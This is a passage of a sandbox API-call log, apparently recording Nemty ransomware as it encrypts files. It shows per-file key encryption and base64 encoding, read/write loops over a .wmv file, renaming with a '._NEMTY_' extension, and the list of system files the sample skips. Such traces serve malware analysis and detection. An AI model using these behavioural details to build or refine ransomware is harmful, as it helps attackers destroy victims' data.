0x5 [0073.776] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0073.776] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0073.776] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0073.777] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0073.777] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0073.777] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0073.777] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0073.777] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e91c | out: pszString="z2TmUHTRWQHWWa99VglCbsOPF/Vvc1bRTh8U6QBrcihjsyket5cEnohTJ/xg11w+\r\nZe1ulX00WB1fwXXkJga4C3S/GCjH2q6jTcQlT19gBBmHLzJcKbHAuVJk6F23ouYd\r\nOMfje32gy4dEn2oJFbgID0d74J2V/nXpYRwKmoXIl8O7xr31LsufWD+BTxM828W+\r\nIdt+bARW0DE2/PkwJlF1qTsVI8uwTgces8/tbvjryqmtiJSDkVWPgHvBc4NxOQ3T\r\nvMpzM8HZXnNbZyBWgBRr4HFdsaDR0I/kp8mAhCALdFkYhpgkNQy1ayfsT2AD3ScR\r\nZsZJ5rsHMpy2cyowGQ+iig==\r\n", pcchString=0x653e91c) returned 1 [0073.777] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0073.777] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0073.777] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0073.777] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0073.777] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0073.777] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0073.777] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\title_trans_scene.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_scene.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0073.777] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0073.777] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0073.777] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.777] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0073.787] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.787] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0073.787] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.787] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0073.796] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.796] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0073.796] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.796] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0073.806] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.806] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0073.806] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.806] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0073.815] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.815] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0073.815] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.815] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0073.825] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.826] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0073.826] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.826] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0073.835] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.835] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0073.835] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.835] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0073.845] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.845] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0073.845] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.845] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0073.854] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.854] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0073.854] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.854] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0073.863] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.864] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0073.870] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.870] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0073.880] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.880] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0073.880] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.880] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0073.886] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.886] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0073.886] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.886] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0073.892] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.892] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0073.892] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.892] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400f0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0073.892] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0073.892] CloseHandle (hObject=0xffffffff) returned 0 [0073.892] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0073.892] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0073.892] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0073.892] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0073.892] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0073.892] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0073.892] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0073.892] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0073.892] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0073.892] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0073.892] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\title_trans_scene.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_scene.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\title_trans_scene.wmv._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_scene.wmv._nemty_kgobjgd_")) returned 0 [0073.892] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0073.893] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0073.893] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0073.893] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0073.893] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0073.893] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0073.893] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0073.893] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94248 | out: hHeap=0x4f90000) returned 1 [0073.893] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0073.893] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0073.893] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70705ab5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70705ab5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e53996b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa16e4, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Title_Trans_Scene_PAL.wmv", cAlternateFileName="")) returned 1 [0073.893] lstrcmpiW (lpString1="Title_Trans_Scene_PAL.wmv", lpString2=".") returned 1 [0073.893] lstrcmpiW (lpString1="Title_Trans_Scene_PAL.wmv", lpString2="..") returned 1 [0073.893] lstrcmpiW (lpString1="Title_Trans_Scene_PAL.wmv", lpString2="...") returned 1 [0073.893] lstrcmpiW (lpString1="Title_Trans_Scene_PAL.wmv", lpString2="windows") returned -1 [0073.893] lstrcmpiW (lpString1="Title_Trans_Scene_PAL.wmv", lpString2="$RECYCLE.BIN") returned 1 [0073.893] lstrcmpiW (lpString1="Title_Trans_Scene_PAL.wmv", lpString2="rsa") returned 1 [0073.893] lstrcmpiW (lpString1="Title_Trans_Scene_PAL.wmv", lpString2="NTDETECT.COM") returned 1 [0073.893] lstrcmpiW (lpString1="Title_Trans_Scene_PAL.wmv", lpString2="ntldr") returned 1 [0073.893] lstrcmpiW (lpString1="Title_Trans_Scene_PAL.wmv", lpString2="MSDOS.SYS") returned 1 [0073.893] lstrcmpiW (lpString1="Title_Trans_Scene_PAL.wmv", lpString2="IO.SYS") returned 1 [0073.893] lstrcmpiW (lpString1="Title_Trans_Scene_PAL.wmv", lpString2="boot.ini") returned 1 [0073.893] lstrcmpiW (lpString1="Title_Trans_Scene_PAL.wmv", lpString2="boot.ini") returned 1 [0073.893] lstrcmpiW (lpString1="Title_Trans_Scene_PAL.wmv", lpString2="AUTOEXEC.BAT") returned 1 [0073.893] lstrcmpiW (lpString1="Title_Trans_Scene_PAL.wmv", lpString2="ntuser.dat") returned 1 [0073.893] lstrcmpiW (lpString1="Title_Trans_Scene_PAL.wmv", lpString2="desktop.ini") returned 1 [0073.893] lstrcmpiW (lpString1="Title_Trans_Scene_PAL.wmv", lpString2="CONFIG.SYS") returned 1 [0073.893] lstrcmpiW (lpString1="Title_Trans_Scene_PAL.wmv", lpString2="RECYCLER") returned 1 [0073.893] lstrcmpiW (lpString1="Title_Trans_Scene_PAL.wmv", lpString2="BOOTSECT.BAK") returned 1 [0073.893] lstrcmpiW (lpString1="Title_Trans_Scene_PAL.wmv", lpString2="bootmgr") returned 1 [0073.893] lstrcmpiW (lpString1="Title_Trans_Scene_PAL.wmv", lpString2="programdata") returned 1 [0073.893] lstrcmpiW (lpString1="Title_Trans_Scene_PAL.wmv", lpString2="appdata") returned 1 [0073.893] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0073.893] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Title_Trans_Scene_PAL.wmv", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0073.893] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0073.893] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Title_Trans_Scene_PAL.wmv", cchWideChar=25, lpMultiByteStr=0x4f9ecb8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Title_Trans_Scene_PAL.wmv", lpUsedDefaultChar=0x0) returned 25 [0073.894] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0073.894] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0073.894] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Title_Trans_Scene_PAL.wmv", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0073.894] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0073.894] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Title_Trans_Scene_PAL.wmv", cchWideChar=25, lpMultiByteStr=0x4f9ecb8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Title_Trans_Scene_PAL.wmv", lpUsedDefaultChar=0x0) returned 25 [0073.894] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0073.894] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0073.894] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0073.894] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0073.894] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Title_Trans_Scene_PAL.wmv", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0073.894] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0073.894] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Title_Trans_Scene_PAL.wmv", cchWideChar=25, lpMultiByteStr=0x4f9ecb8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Title_Trans_Scene_PAL.wmv", lpUsedDefaultChar=0x0) returned 25 [0073.894] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0073.894] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0073.894] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Title_Trans_Scene_PAL.wmv", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0073.894] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0073.894] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Title_Trans_Scene_PAL.wmv", cchWideChar=25, lpMultiByteStr=0x4f9ed58, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Title_Trans_Scene_PAL.wmv", lpUsedDefaultChar=0x0) returned 25 [0073.894] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0073.894] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63400f0 [0073.894] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0073.894] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63401a8 [0073.894] Sleep (dwMilliseconds=0x5) [0073.899] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xdfb11610, dwHighDateTime=0x1d561e7)) [0073.899] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xdfb11610, dwHighDateTime=0x1d561e7)) [0073.899] GetLastError () returned 0x5 [0073.899] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0073.899] GetLastError () returned 0x5 [0073.899] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0073.899] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0073.899] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0073.899] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0073.899] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0073.900] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0073.900] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340260 [0073.900] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340260, pcchString=0x653e91c | out: pszString="uftXbdVrMepkGsgjAIF0WdnJOoBC77e+GZYyCZ2sV5zRbFkFkxacV95GWe1rPE3C\r\nTmMGxdKqBU2aPcAPTV4AhXVXzyqbMCa46WDvU2PqdkcZCKX2HfjW100dTdlMoLF+\r\nXiNbynF8xTMhEB6Y2s10cCBMfQXE+CzxIDjxO9St+bXqkJG+uCO9EK+G9mKN//u8\r\n+RxX/O9Qi+oTeIujjY9jRztReIywm0TtAOsKQI8eDpXeF/MVDsauQzfNi7oF3vkb\r\nQLIHYQMiwdje7jbi8k0IKPvkX5wqw36xh7ZpF2aevcZau4axFD7MijEsL9BdDVap\r\nvUKJykXep/+BVkG25isNug==\r\n", pcchString=0x653e91c) returned 1 [0073.900] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0073.900] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: 